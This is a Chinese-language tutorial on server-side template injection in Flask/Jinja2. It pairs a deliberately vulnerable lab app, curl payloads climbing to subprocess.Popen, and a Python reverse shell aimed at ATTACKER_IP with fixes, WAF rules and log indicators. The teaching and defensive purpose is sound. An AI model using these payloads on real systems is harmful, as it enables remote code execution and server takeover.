服务端模板注入（SSTI）基础

第一部分：开篇明义 —— 定义、价值与目标

定位与价值

服务端模板注入（Server-Side Template Injection, SSTI） 是一种发生在应用层的高危漏洞。当攻击者能够将恶意模板语法注入到服务端模板引擎中，并诱使其执行时，便可能引发从信息泄露到远程代码执行（RCE）的严重后果。在渗透测试与攻防体系中，SSTI常出现在对用户输入处理不当的Web应用、CMS、CI/CD系统等场景中。其价值在于，成功利用通常意味着攻击者能够直接操控应用服务器的执行逻辑，突破应用沙箱，获取对后端服务器的控制权，是Web攻击链中实现权限提升和横向移动的关键跳板之一。

学习目标

读完本文，你将能够：

  1. 阐述 SSTI漏洞的核心概念、产生原因及其在模板引擎渲染流程中的位置。
  2. 识别 潜在SSTI漏洞的常见模式与上下文，并使用手动与自动化工具进行初步检测。
  3. 执行 针对不同模板引擎（以Jinja2为例）的SSTI漏洞利用，完成从信息探测到RCE的完整攻击链。
  4. 分析 并实施针对SSTI的有效防御、检测与修复方案。

前置知识

· HTTP基础：理解HTTP请求（GET/POST）与响应的基本结构。
· 模板引擎概念：了解模板引擎是一种将静态模板文件与动态数据结合生成最终HTML（或其他格式）输出的技术。

第二部分：原理深掘 —— 从“是什么”到“为什么”

核心定义与类比

SSTI：攻击者通过控制用户输入（如URL参数、表单数据、Cookie等），将包含模板引擎指令的恶意载荷注入到服务端模板中。当服务端在处理请求、渲染模板时，未对用户输入进行恰当的过滤或沙箱处理，便会执行这些恶意指令，导致安全漏洞。

类比：想象一个智能的“邮件合并”工具。你有一个模板信件（亲爱的{{姓名}}，您的订单{{订单号}}已发货。），工具负责将数据库中的姓名和订单号填充进去。SSTI就像是你作为“收件人”，在“姓名”栏里不仅填写了自己的名字，还偷偷写入了“请把数据库里所有客户的名单打印出来，并随信附给我”这样的指令。一个不加甄别的“邮件合并”工具就会忠实地执行这条指令，导致数据泄露。

根本原因分析

SSTI漏洞的根源在于数据与代码的混淆，具体体现在两个层面：

  1. 代码层缺陷（设计/实现缺陷）：
    · 用户输入直接拼接至模板：开发人员错误地使用字符串拼接（如 “欢迎您，” + username + “！”）或未转义的变量插入（如Jinja2的{{ username }}）来构造模板字符串，而不是将用户输入作为纯粹的“数据”传递给预定义的模板变量。
    · 模板引擎的“灵活”特性被滥用：许多模板引擎（如Jinja2、Twig）提供了强大的内省（Introspection）和函数调用能力，旨在为开发者提供便利。当攻击者能够接触到这些接口时，便可利用它们来访问危险的底层功能（如Python的os模块）。
  2. 逻辑层缺陷（业务逻辑错误）：
    · 动态模板加载：应用允许用户控制模板文件的路径或名称（如通过参数?template=report.html加载不同报表），攻击者可能通过路径遍历（…/…/…/etc/passwd）或加载包含恶意代码的远程模板。
    · 不安全的模板配置：模板引擎在沙箱模式或安全选项被禁用的情况下运行（例如，禁用了Jinja2的autoescape或允许导入任意Python模块）。

可视化核心机制

下图描绘了一个典型的SSTI攻击在Web请求/响应流程中的关键数据流与决策点：

服务器系统模板引擎Web应用攻击者服务器系统模板引擎Web应用攻击者漏洞点：未对用户输入进行安全处理攻击者确认SSTI存在发送包含恶意模板语法的HTTP请求(如: `?name={{7*7}}`)将用户输入(`{{7*7}}`)直接拼接/传递到模板字符串解析并执行模板语法计算`{{7*7}}` => `49`返回渲染后的结果HTTP响应中包含执行结果(`49`)发送升级利用的载荷(如: `{{''.__class__.__mro__...}}`)传递恶意载荷执行指令，访问危险类/函数通过底层API执行系统命令(如: `os.popen(‘id’).read()`)返回命令执行结果将结果嵌入模板输出响应中泄露系统信息/命令输出

这张图清晰地展示了SSTI攻击的两个关键阶段：探测确认和利用升级。核心漏洞点在于Web应用将不可信的用户输入直接交给了模板引擎的“解析器”而非“文本渲染器”。

第三部分：实战演练 —— 从“为什么”到“怎么做”

环境与工具准备

  1. 演示环境：

· 目标应用：一个存在SSTI漏洞的简易Python Flask (Jinja2) 应用。
· 攻击机：Kali Linux 或任何安装有Python、curl的Linux/macOS系统。

  1. 核心工具：

· curl / 浏览器：用于手动发送HTTP请求，观察响应。
· tplmap：一款自动化的SSTI检测与利用工具，支持多种引擎。
· 手工测试技巧：理解不同引擎的语法差异是利用高级SSTI的关键。

  1. 漏洞环境搭建：
    使用以下Docker Compose文件快速搭建一个包含漏洞的Flask应用：
# docker-compose.ymlversion:'3'services:ssti-lab:image:vulhub/flask:latestports:-"8000:8000"volumes:-./app.py:/app/app.py# 将下面的漏洞代码挂载进去command:python app.py

在同一目录下创建漏洞应用文件 app.py：

# app.py - 这是一个故意构建的存在SSTI漏洞的应用，仅用于授权安全测试环境！fromflaskimportFlask,request,render_template_string app=Flask(__name__)@app.route(‘/‘)defindex():# 危险模式：用户输入直接拼接到模板字符串中！name=request.args.get(‘name’,‘Guest’)# 使用 render_template_string 是触发SSTI的典型场景template=‘<h1>Hello,‘+name+‘!</h1>’returnrender_template_string(template)if__name__==‘__main__‘:app.run(debug=True,host=‘0.0.0.0‘,port=8000)# 警告：在生产环境中绝不可开启debug模式，此处仅为演示。

启动环境：docker-compose up -d。访问 http://your-ip:8000/?name=World 即可看到 “Hello, World!”。

标准操作流程

阶段一：发现与识别

  1. 模糊测试与探测：
    SSTI的发现通常始于对用户输入点的测试。我们尝试输入基本的模板表达式。
    # 使用curl探测，输入 `{{7*7}}`curl-s “http://127.0.0.1:8000/?name={{7*7}}“|grep-o “49\b”
    意图：如果响应中包含计算后的结果49，而非原始的字符串{{7*7}}，则强烈表明输入被Jinja2模板引擎解析执行了。
    响应示例：响应体为

    Hello, 49!

    。SSTI确认！
  2. 确定模板引擎类型：
    不同引擎的语法不同。通过尝试多种语法来“指纹识别”。
    # 尝试Jinja2语法curl“http://127.0.0.1:8000/?name={{‘7‘*7}}“# 结果应为 ‘7777777‘# 尝试Twig (PHP) 语法curl“http://127.0.0.1:8000/?name={{7*7}}“# 同上# 尝试Smarty语法curl“http://127.0.0.1:8000/?name=${7*7}“# 可能无变化
    根据响应结果，我们可以推断出模板引擎类型。本例中{{‘7‘*7}}返回7777777，确认是Jinja2（或类似语法引擎）。

阶段二：利用与分析

  1. 获取内置对象与上下文信息：
    在Jinja2中，一切皆对象。我们需要找到从模板上下文通往危险函数（如os.system）的路径。通常从内置类和方法开始。
    # 获取字符串对象的类curl-s “http://127.0.0.1:8000/?name={{‘‘.__class__}}“|html2text# 输出类似：Hello, <class ‘str‘>!# 获取类的继承链 (Method Resolution Order)curl-s “http://127.0.0.1:8000/?name={{‘‘.__class__.__mro__}}“|html2text# 输出：Hello, (<class ‘str‘>, <class ‘object‘>)!# 访问基类 ‘object‘ 的所有子类curl-s “http://127.0.0.1:8000/?name={{‘‘.__class__.__mro__[1].__subclasses__()}}“|html2text
    最后一条命令会返回一个很长的列表，包含了Python运行时加载的所有类。我们的目标是从中找到一个可以用于执行命令的类，例如 subprocess.Popen 或 os._wrap_close。
  2. 定位并调用危险方法：
    我们需要在子类列表中搜索。自动化工具如tplmap会做这件事，但手动理解过程至关重要。
    # 以下是一个在交互式Python中模拟的查找过程，在实际攻击中，你需要通过SSTI在服务器端执行类似的“查找”subclasses=‘‘.__class__.__mro__[1].__subclasses__()fori,subclassinenumerate(subclasses):if‘Popen‘insubclass.__name__:print(i,subclass)# 假设找到索引为 256
    假设通过SSTI我们找到了 subprocess.Popen 在索引 256。通过SSTI调用它：
    # 调用 subprocess.Popen 执行命令 ‘id‘curl-s “http://127.0.0.1:8000/?name={{‘‘.__class__.__mro__[1].__subclasses__()[256](‘id‘,shell=True,stdout=-1).communicate()[0]}}“|html2text
    解释：
    · [256]：选择 subprocess.Popen 类。
    · (‘id‘, shell=True, stdout=-1)：实例化该类，执行命令id。
    · .communicate()[0]：获取命令的标准输出。

阶段三：验证与深入

  1. 实现反向Shell（RCE）：
    获取命令执行能力后，下一步是建立持久化连接。一个常见的例子是使用Python发起反向Shell。
    # 注意：在实际攻击中，需要先在攻击机监听端口 (nc -lvnp 4444)# URL编码后的载荷示例：python_cmd=“import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ATTACKER_IP‘,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/sh‘,‘-i‘]);“encoded_cmd=$(echo-n “$python_cmd“|python3 -c “import sys, urllib.parse;print(urllib.parse.quote(sys.stdin.read()))“)curl“http://127.0.0.1:8000/?name={{‘‘.__class__.__mro__[1].__subclasses__()[256](‘python3 -c\”“$python_cmd\”‘,shell=True)}}“
    警告：此操作仅可在完全可控的授权测试环境进行，切勿对未授权目标尝试。

自动化与脚本

以下是使用Python编写的一个简易但功能完整的SSTI手工检测与利用脚本片段，它演示了逻辑，并包含了必要的安全警告和错误处理。

#!/usr/bin/env python3# -*- coding: utf-8 -*-# 文件名：ssti_detector.py# 描述：一个基础的SSTI检测与Jinja2利用脚本示例。# 警告：本脚本仅用于授权的安全测试与教育目的。未经授权使用属非法行为。importrequestsimportsysimporturllib.parsefromtypingimportOptionalclassSSTIDetector:def__init__(self,url:str,param:str):self.url=url self.param=param self.session=requests.Session()self.session.headers.update({‘User-Agent‘:‘SSTI-Scanner/1.0(Educational)‘})def_test_payload(self,payload:str)->Optional[str]:"""发送测试载荷并返回响应文本"""try:# 对参数值进行编码encoded_payload=urllib.parse.quote(payload)full_url=f“{self.url}?{self.param}={encoded_payload}“ resp=self.session.get(full_url,timeout=5)resp.raise_for_status()returnresp.textexceptrequests.exceptions.RequestExceptionase:print(f“[!]请求失败:{e}“,file=sys.stderr)returnNonedefdetect(self)->bool:"""基础探测：检测是否存在SSTI"""print(f“[*]开始检测{self.url}...“)test_payloads=[(‘{{7*7}}‘,‘49‘),# Jinja2, Twig(‘${7*7}‘,‘49‘),# Smarty (某些情况)(‘<%=7*7%>‘,‘49‘),# ERB (Ruby)(‘${{7*7}}‘,‘49‘),# 某些表达式语言]forpayload,expectedintest_payloads:print(f“[*]尝试载荷:{payload}“)resp_text=self._test_payload(payload)ifresp_textandexpectedinresp_text:print(f“[+]可能发现SSTI！引擎可能解析了{payload}->{expected}“)print(f“[+]原始响应片段:{resp_text[:200]}...“)returnTrueprint(“[-]未发现明显的SSTI迹象。“)returnFalsedefexploit_jinja2_info(self):"""如果怀疑是Jinja2，尝试获取基本信息"""print(“[*]尝试Jinja2信息泄露...“)info_payloads={“Config“:“{{config}}“,“Self“:“{{self}}“,“Namespace“:“{{namespace}}“,}forname,payloadininfo_payloads.items():resp=self._test_payload(payload)ifrespandlen(resp)<1000:# 避免输出过长print(f“[-]{name}:{resp.strip()[:100]}...“)# 主函数，包含明确的使用警告if__name__==‘__main__‘:print(“#“ * 60)print(“# SSTI 检测脚本 (教育用途) #“)print(“#“ * 60)print(“重要警告：请在明确获得授权的目标上使用此工具。\n“)iflen(sys.argv)!=3:print(f“用法:{sys.argv[0]}<目标URL><参数名>“)print(f“示例:{sys.argv[0]}http://target.com/page name“)sys.exit(1)target_url=sys.argv[1]param_name=sys.argv[2]detector=SSTIDetector(target_url,param_name)ifdetector.detect():detector.exploit_jinja2_info()# 此处可以扩展更高级的利用功能print(“[*]基础检测完成。对于深入利用，请结合手动分析或使用tplmap等专业工具。“)

对抗性思考：绕过与进化

现代WAF和代码审查提高了基础SSTI利用的门槛。攻击者在不断进化：

  1. 混淆与编码：
    · Unicode编码：{{‘\u0027‘.class}} 绕过对‘的过滤。
    · 十六进制/八进制编码：{{0x2a}} 表示 42。
    · 字符串拼接：{{‘cl‘+‘ass‘}} 或 {{[‘class‘]|join}} 绕过对完整关键词的匹配。
  2. 利用非常规属性链：
    · 不总是从__class__开始。可以尝试 {{request.application.globals…}}（Flask上下文），或利用已导入的模块。
    · 使用|attr()过滤器动态调用属性：{{‘‘|attr(‘class‘)}}。
  3. 无数字字母RCE：
    在一些严格过滤下，可以利用Jinja2的过滤器（如map, select, first, last, join）和内置函数（如cycler, namespace），从有限的字符集（如{}_.|‘）构造出执行命令的Payload。这属于SSTI的高级技巧，需要对引擎内部机制有极深理解。

第四部分：防御建设 —— 从“怎么做”到“怎么防”

开发侧修复

核心原则：将用户输入始终视为“数据”，而非“代码”。

危险模式 vs 安全模式 代码对比：

# ====== 危险模式 ======fromflaskimportrender_template_string user_input=request.args.get(‘template_fragment‘)# 直接拼接！output=render_template_string(“<p>User said:“+user_input+“</p>“)# ====== 安全模式 ======fromflaskimportrender_template,request# 1. 使用预定义的、完整的模板文件，将用户输入作为变量传递user_input=request.args.get(‘message‘)returnrender_template(‘comment.html‘,message=user_input)# 在 comment.html 中： <p>User said: {{ message }}</p># Jinja2会自动对`message`变量进行HTML转义。# 2. 如果必须动态构造模板（应尽量避免），使用严格的沙箱和转义fromjinja2importEnvironment,escape env=Environment(autoescape=True)# 必须开启自动转义# 对用户输入进行强转义，然后作为普通文本插入safe_input=escape(user_input)# 或者，将用户输入限制在白名单内（如只允许纯文本）。

安全模式原理：将数据（message）通过模板引擎的安全接口传递，引擎会负责根据上下文（HTML/JS/URL）进行正确的编码/转义，确保输入被当作文本处理，而不会被解析为模板语法。

运维侧加固

  1. WAF/规则配置：
    部署具备SSTI检测能力的WAF。规则示例如下（以ModSecurity为例）：
    SecRule ARGS “{{\s*[^}]+}}“ \ “phase:2,deny,id:10001,msg:‘Potential SSTI (Jinja/Twig) detected‘,logdata:‘%{MATCHED_VAR}‘“ SecRule ARGS “{\s*[^}]+}\s*}“ \ “phase:2,deny,id:10002,msg:‘Potential SSTI (Smarty) detected‘,logdata:‘%{MATCHED_VAR}‘“
    注意：WAF规则易被绕过，应作为纵深防御的一环，而非唯一手段。
  2. 模板引擎安全配置：
    · Jinja2：确保autoescape=True，考虑使用SandboxedEnvironment。移除或限制危险的内置函数和过滤器。
    · Twig：使用Twig_Environment并设置autoescape和auto_reload为安全值。
    · 通用原则：在生产环境禁用调试/详细错误信息。定期更新模板引擎库以修复已知安全漏洞。
  3. 架构设计原则：
    · 分离渲染层：将模板渲染限制在专门的后端服务中，该服务不直接连接数据库或敏感系统。
    · 最小权限原则：运行模板引擎的应用进程应使用低权限账户，限制其文件系统访问和网络连接能力。

检测与响应线索

在应用日志或WAF日志中关注以下异常模式：

· 高频的模板语法错误：大量包含 {, }, $, {{, }} 的请求，特别是伴随 TemplateSyntaxError, TemplateNotFound 等错误信息。
· 异常的参数值：参数值长度异常、包含明显的类/对象访问链（class,mro,subclasses,globals）或系统命令关键词（os, subprocess, eval, exec）。
· 响应内容异常：响应中包含系统命令输出（如uid=, root, /etc/passwd片段）、Python对象内存地址（0x7f…）或内部配置信息。

发现后，应立即：

  1. 隔离受影响系统/服务。
  2. 审查并修复漏洞代码。
  3. 检查服务器是否有被植入后门、异常进程或网络连接。
  4. 重置可能泄露的凭据。

第五部分：总结与脉络 —— 连接与展望

核心要点复盘

  1. SSTI的本质是数据与代码边界混淆，源于将不可信的用户输入直接交由模板引擎解析执行。
  2. 攻击链清晰分为探测确认（输入模板语法）和利用升级（通过内省链调用危险函数实现RCE）。
  3. 防御的核心在于严格的输入处理范式：永远将用户输入作为数据传递给模板变量，并利用引擎的安全特性（自动转义、沙箱）。
  4. SSTI的影响严重，通常直接导致远程代码执行，是Web应用的高危漏洞。
  5. 对抗SSTI需要纵深防御：安全的代码实践 + 安全的引擎配置 + 网络层检测（WAF） + 运行时监控。

知识体系连接

· 前置基础：本文建立在《Web应用安全测试导论》、《HTTP协议与请求篡改》及《常见Web漏洞原理（SQLi， XSS）》之上。理解数据注入的通用模式有助于掌握SSTI。
· 横向关联：SSTI与代码注入、表达式语言注入（ELI）、不安全的反序列化 同属“解释器滥用”类漏洞，攻击思想有相通之处。
· 后继深入：
· 《SSTI高级利用：绕过与混淆技术》：深入探讨各类WAF绕过、无数字字母利用、沙箱逃逸。
· 《主流模板引擎（Jinja2, Twig, FreeMarker, Velocity）安全深度剖析》：分析各引擎特有对象、过滤器及安全机制。
· 《静态代码分析（SAST）识别SSTI模式》：学习如何在开发阶段通过工具自动化发现潜在漏洞代码。

进阶方向指引

  1. 模板引擎沙箱逃逸研究：深入研究Jinja2 SandboxedEnvironment、PHP Twig沙箱等机制的历史绕过方式（CVE），理解沙箱设计的安全边界。
  2. 在云原生与Serverless环境中的SSTI：研究在CI/CD流水线文件（如Jenkinsfile, GitHub Actions）、Infrastructure as Code（如Terraform, Ansible模板）以及Serverless函数配置中出现的SSTI变种，其影响范围可能更广。

自检清单

· 是否明确定义了本主题的价值与学习目标？ —— 在开篇阐述了SSTI的高危性及在攻防体系中的位置，并列出了4个具体学习目标。
· 原理部分是否包含一张自解释的Mermaid核心机制图？ —— 提供了SSTI攻击流程的时序图，清晰展示了探测与利用两个阶段及漏洞点。
· 实战部分是否包含一个可运行的、注释详尽的代码片段？ —— 提供了完整的漏洞环境Docker Compose配置、漏洞应用代码以及一个带有中文注释和警告的Python检测脚本。
· 防御部分是否提供了至少一个具体的安全代码示例或配置方案？ —— 通过“危险模式 vs 安全模式”代码对比展示了根本修复方法，并提供了WAF规则示例和配置建议。
· 是否建立了与知识大纲中其他文章的联系？ —— 在总结部分明确了前置、横向关联及后继深入的文章方向。
· 全文是否避免了未定义的术语和模糊表述？ —— 对SSTI、模板引擎、内省、沙箱等关键术语进行了定义或解释，论述力求清晰严谨。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/1184600.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

中医执医考试培训班推荐指南：如何选择适合自己的培训班？ - 医考机构品牌测评专家

中医执医考试培训班推荐指南：如何选择适合自己的培训班？ - 医考机构品牌测评专家

中医执医考试培训班推荐指南：如何选择适合自己的培训班？近年来，随着国家对中医药事业振兴发展的战略推动，中医执业医师考试的地位日益凸显。对于广大中医从业者而言，通过执业医师考试不仅是获得合法行医资格的必经…
阅读更多...
PaddlePaddle-v3.3：国产深度学习框架的技术跃迁与行业落地实践

PaddlePaddle-v3.3：国产深度学习框架的技术跃迁与行业落地实践

2025年发布的PaddlePaddle-v3.3标志着国产深度学习框架在核心技术突破与产业应用落地的双重跨越。相较于上一版本&#xff0c;其在动态图性能、分布式训练效率、多模态处理能力等关键指标上实现30%以上提升&#xff0c;尤其在工业质检、医疗影像分析、个性化教育等垂直领域形成…
阅读更多...
linux XFS文件系统误删救星——筑梦之路

linux XFS文件系统误删救星——筑梦之路

XFS文件恢复工具指南项目信息开源项目地址&#xff1a;https://github.com/ianka/xfs_undelete环境说明操作系统&#xff1a;CentOS 7依赖安装# 安装必要依赖 yum install -y tcl tcllib coreutils file依赖说明&#xff1a;tcl&#xff1a;Tcl语言运行环境&#xff08;必需&am…
阅读更多...
中医执医考试推荐哪个培训班？ - 医考机构品牌测评专家

中医执医考试推荐哪个培训班？ - 医考机构品牌测评专家

中医执医考试推荐哪个培训班？前言：中医执医备考的行业现状与选班困境2026年中医执业医师资格考试大纲持续深化“理论临床一体化”改革趋势，考点覆盖中医基础理论、诊断学、中药学、方剂学及临床各科，实践技能考核更…
阅读更多...
AI视频生成新纪元：Wan2.2-T2V-A5B文本转视频全解析

AI视频生成新纪元：Wan2.2-T2V-A5B文本转视频全解析

在数字内容创作领域&#xff0c;文本到视频&#xff08;Text-to-Video&#xff09;技术正经历着前所未有的变革。Wan2.2-T2V-A5B作为最新一代生成式AI模型&#xff0c;将文本描述直接转化为具有电影级质感的视频内容&#xff0c;彻底重塑了传统视频制作流程。这款模型通过融合多…
阅读更多...
15｜写在最后：交付不是打打杀杀，而是长期主义

15｜写在最后：交付不是打打杀杀，而是长期主义

如果把交付理解成“项目收尾的人”&#xff0c; 那可能都会觉得这个岗位委屈、被动、吃力不讨好。 但如果站在行业与组织结构的高度看&#xff0c; 会发现&#xff1a; 交付&#xff0c;其实是整个商业系统里&#xff0c;最接近“现实真相”的角色之一。一、为什么“交付”这个…
阅读更多...
2026卫生初中级职称考试题库哪个好？高分提分题库实测推荐 - 医考机构品牌测评专家

2026卫生初中级职称考试题库哪个好？高分提分题库实测推荐 - 医考机构品牌测评专家

“题库哪个好？”——高分考生的答案较为统一：能帮考生刷一道会一类、规避失分点的题库，才是好题库。很多考生刷题无数却分数不涨，核心问题是选了“只给答案、不给方法”的普通题库。本文结合通关高分考生实战反馈，…
阅读更多...
报考党 / 转行党集合！网络空间安全专业到底学啥？这篇超详细解读你看懂了吗？评论区聊！

报考党 / 转行党集合！网络空间安全专业到底学啥？这篇超详细解读你看懂了吗？评论区聊！

为帮助考生了解专业情况&#xff0c;提前做好专业选择与职业生涯规划&#xff0c;省教育考试院联合省教育厅高教处、相关高校推出“专业解读”系列&#xff0c;供2022年高考生参考。 今天&#xff0c;将为考生送上第五期——网络空间安全专业解读。“没有网络安全&#xff0c;…
阅读更多...
2026卫生初中级职称考试题库哪个好？分阶段适配测评与选择指南 - 医考机构品牌测评专家

2026卫生初中级职称考试题库哪个好？分阶段适配测评与选择指南 - 医考机构品牌测评专家

2026卫生初中级职称考试题库哪个好？分阶段适配测评与选择指南 2026卫生初中级职称考试备考，在职考生较纠结的问题之一就是“题库哪个好”。其实没有绝对“最好”的题库，只有更适配备考阶段的题库。不同备考阶段的核…
阅读更多...
分享一本Python的数字信号处理编程书籍Think DSP，含书籍配套代码

分享一本Python的数字信号处理编程书籍Think DSP，含书籍配套代码

https://github.com/AllenDowney/ThinkDSP Think DSP 是一本用 Python 介绍数字信号处理的入门书。 本书&#xff08;以及 Think X 系列的其他书&#xff09;的前提是&#xff1a;如果你会编程&#xff0c;就可以利用这项技能去学习其他领域。我写这本书是因为我认为传统的数…
阅读更多...
商企无限如何用15年织就产业互联网传奇？ - 品牌企业推荐师（官方）

商企无限如何用15年织就产业互联网传奇？ - 品牌企业推荐师（官方）

这家津门企业如何用15年织就产业互联网传奇？ 在天津滨海新区一片不起眼的办公楼里，藏着一家名为天津商企无限科技有限公司的企业。没有华丽的门面，没有铺天盖地的宣传，这家公司却已在网络推广领域深耕了整整15年。…
阅读更多...
全网最全！程序员自学网站大全：免费 Java 专项 + 综合教程，从零基础到精通这篇够了！

全网最全！程序员自学网站大全：免费 Java 专项 + 综合教程，从零基础到精通这篇够了！

程序员是一个需要不断学习的职业。幸运的是&#xff0c;在这个互联网时代&#xff0c;知识就在那里&#xff0c;等着我们去获取。 作为一个“收藏从未停止&#xff0c;学习从未开始”的博主&#xff0c;秉承着好东西不能独享的态度&#xff0c;把收藏的学习网站整理分享出来&a…
阅读更多...
智能河道流量在线监测系统技术特性与实践应用

智能河道流量在线监测系统技术特性与实践应用

一&#xff0e;引文河流流量作为水文监测的核心要素&#xff0c;其数据的时效性与精准度直接影响水旱灾害防御、水资源管理及水利工程运行效率。智能河道流量在线监测系统依托“空天地水工”一体化监测理念&#xff0c;整合多源感知技术与智能算法&#xff0c;已成为现代水文监…
阅读更多...
英文文献检索网站有哪些：常用平台推荐与检索方法指南

英文文献检索网站有哪些：常用平台推荐与检索方法指南

做科研的第一道坎&#xff0c;往往不是做实验&#xff0c;也不是写论文&#xff0c;而是——找文献。 很多新手科研小白会陷入一个怪圈&#xff1a;在知网、Google Scholar 上不断换关键词&#xff0c;结果要么信息过载&#xff0c;要么完全抓不到重点。今天分享几个长期使用的…
阅读更多...
《兜兜英语词根词缀拆解工具》之du-前缀：解锁“二、双”核心语义场

《兜兜英语词根词缀拆解工具》之du-前缀：解锁“二、双”核心语义场

词根词缀是构建英语词汇的基石&#xff0c;掌握前缀的核心语义&#xff0c;能快速拓展词汇量、精准理解词义。《兜兜英语词根词缀拆解工具》聚焦高频前缀&#xff0c;助力学习者高效拆解词汇逻辑。本次为大家解析源自拉丁语的核心前缀du-&#xff0c;其核心语义为“二、双&…
阅读更多...
救命！挖到效率神器合集！20 个程序员必藏网站，技术 + 接单 + 刷题一站式搞定！

救命！挖到效率神器合集！20 个程序员必藏网站，技术 + 接单 + 刷题一站式搞定！

前言 之前一直想出个程序员学习清单&#xff0c;终于腾出时间弄出来了&#xff0c;也趁此机会整理了收藏夹。 此篇对于新手程序员比较有用&#xff0c;技术老鸟们也可以查缺补漏。 话不多说&#xff0c;纯纯干货呈上&#xff0c;赶紧点个赞收藏&#xff0c;以后会用得上&…
阅读更多...
谁懂啊！挖到全网稀缺干货！网络空间安全专业超详细解读，附零基础精通指南速存！

谁懂啊！挖到全网稀缺干货！网络空间安全专业超详细解读，附零基础精通指南速存！

为帮助考生了解专业情况&#xff0c;提前做好专业选择与职业生涯规划&#xff0c;省教育考试院联合省教育厅高教处、相关高校推出“专业解读”系列&#xff0c;供2022年高考生参考。 今天&#xff0c;将为考生送上第五期——网络空间安全专业解读。“没有网络安全&#xff0c;…
阅读更多...
GESP2025年9月认证C++四级真题与解析（判断题1-10）

GESP2025年9月认证C++四级真题与解析（判断题1-10）

&#x1f31f; 第 1 题&#xff08;1&#xff09;以下代码能正确初始化指针。int a 5; int *p a;❌ 判断结果&#xff1a;错&#xff08;2&#xff09;&#x1f9f8; 故事讲解&#xff1a;钥匙和房子 &#x1f3e0;&#x1f511;a 5&#x1f449; 房子里有 5 个糖果p 是一把…
阅读更多...
科学提升孩子记忆力

科学提升孩子记忆力

很多家长都希望孩子能拥有出色的记忆力&#xff0c;这不仅是学业进步的基石&#xff0c;更是未来学习能力的核心。传统的死记硬背方法往往效果有限&#xff0c;且容易让孩子感到枯燥和压力。如今&#xff0c;借助脑科学领域的前沿研究&#xff0c;我们能够更科学、更高效地帮助…
阅读更多...
统一写入筛选器配置工具(UWF)完整使用文档

统一写入筛选器配置工具(UWF)完整使用文档

统一写入筛选器配置工具完整使用文档 目录工具概述 命令索引 详细命令说明 使用示例 注意事项1. 工具概述 统一写入筛选器配置实用工具（Uwfmgr.exe）是 Microsoft Windows 嵌入式操作系统中用于配置和管理统一写入筛选…
阅读更多...
最新文章

Copyright @ 2022~2023